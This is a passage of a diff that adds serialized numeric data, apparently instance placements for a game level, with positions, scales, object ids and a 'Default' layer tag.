+ 2489,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 305.7696533203125,
+ 1020.931640625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2490,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 213.7696533203125,
+ 1020.931640625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2491,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 398.2007446289063,
+ 1116.129028320313,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2492,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 306.2007446289063,
+ 1116.129028320313,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2493,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 581.7643432617188,
+ 1211.254760742188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2494,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 489.7643432617188,
+ 1211.254760742188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2495,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4007.78564453125,
+ 351.5,
+ 0,
+ 91,
+ 51,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2496,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4251,
+ 232,
+ 0,
+ 91,
+ 51,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2497,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4705,
+ 610,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2498,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2354.17333984375,
+ 688.4086303710938,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2401,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2541.6015625,
+ 658.882080078125,
+ 0,
+ 464.849609375,
+ 222.3794860839844,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2400,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2105,
+ 356,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2420,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2066,
+ 304,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2514,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2012,
+ 325,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2515,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1608.85693359375,
+ 307,
+ 0,
+ 287,
+ 630,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2534,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2070,
+ 404,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2544,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2006,
+ 397,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2545,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2433,
+ 537,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2552,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2464,
+ 537,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2553,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2769,
+ 428,
+ 0,
+ 57.18288803100586,
+ 57.18288803100586,
+ 0,
+ 0,
+ 1,
+ 0.5070422291755676,
+ 0.5070422291755676,
+ 0,
+ 0,
+ []
+ ],
+ 375,
+ 2546,
+ [
+ [
+ 0
+ ]
+ ],
+ [
+ [
+ 330,
+ 1500,
+ 1500,
+ 400,
+ 2000,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2623,
+ 395,
+ 0,
+ 24.95556640625,
+ 140.5006713867188,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 376,
+ 2547,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2899,
+ 394,
+ 0,
+ 25.62890625,
+ 135.7992553710938,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 377,
+ 2548,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2769,
+ 416,
+ 0,
+ 49.11710357666016,
+ 32.80466461181641,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 378,
+ 2549,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2748,
+ 431,
+ 0,
+ 9.54636001586914,
+ 42.17941665649414,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 379,
+ 2550,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2790,
+ 431,
+ 0,
+ 9.54636001586914,
+ 43.21585464477539,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 379,
+ 2551,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3536,
+ 74,
+ 0,
+ 75,
+ 630,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2554,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3627,
+ 395,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2555,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3630,
+ 338,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2556,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3872,
+ 512,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2557,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4097,
+ 641,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2559,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4128,
+ 641,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2560,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4467,
+ 641,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2558,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4498,
+ 641,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2561,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4837,
+ 646,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2562,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4868,
+ 646,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2563,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 402,
+ -62,
+ 0,
+ 104.6947937011719,
+ 104.6947937011719,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 539,
+ 5835,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2160,
+ 435,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5836,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2157,
+ 461,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 5837,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2156,
+ 461,
+ 0,
+ 91,
+ 51,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5838,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 329,
+ 946,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 2245,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -44,
+ 946,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 2246,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1081,
+ 946,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 2247,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 708,
+ 946,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 2248,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1459,
+ 946,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 2285,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2211,
+ 945,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 2286,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1838,
+ 945,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 2375,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2963,
+ 945,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 2376,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2590,
+ 945,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5839,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3341,
+ 945,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5840,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4092,
+ 945,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5841,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3719,
+ 945,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5842,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4844,
+ 945,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5843,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4471,
+ 945,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5844,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5222,
+ 945,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5845,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2681,
+ 1282,
+ 0,
+ 5749,
+ 457,
+ 0,
+ 0,
+ 1,
+ 0.5078125,
+ 0.5182482004165649,
+ 0,
+ 0,
+ []
+ ],
+ 537,
+ 5846,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2749.5,
+ 1120,
+ 0,
+ 5654,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 2310,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4258,
+ 709,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5855,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5010,
+ 709,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5856,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4637,
+ 709,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5857,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5388,
+ 709,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5858,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3893,
+ 754,
+ 0,
+ 384,
+ 137,
+ 0,
+ -0.235705703496933,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5859,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3529,
+ 841,
+ 0,
+ 384,
+ 137,
+ 0,
+ -0.235705703496933,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5860,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3164,
+ 929,
+ 0,
+ 384,
+ 137,
+ 0,
+ -0.235705703496933,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5861,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5197.2109375,
+ 1047.540283203125,
+ 0,
+ 2365,
+ 377,
+ 0,
+ 0,
+ 1,
+ 0.5078125,
+ 0.5182482004165649,
+ 0,
+ 0,
+ []
+ ],
+ 537,
+ 5862,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4751,
+ 1011.532836914063,
+ 0,
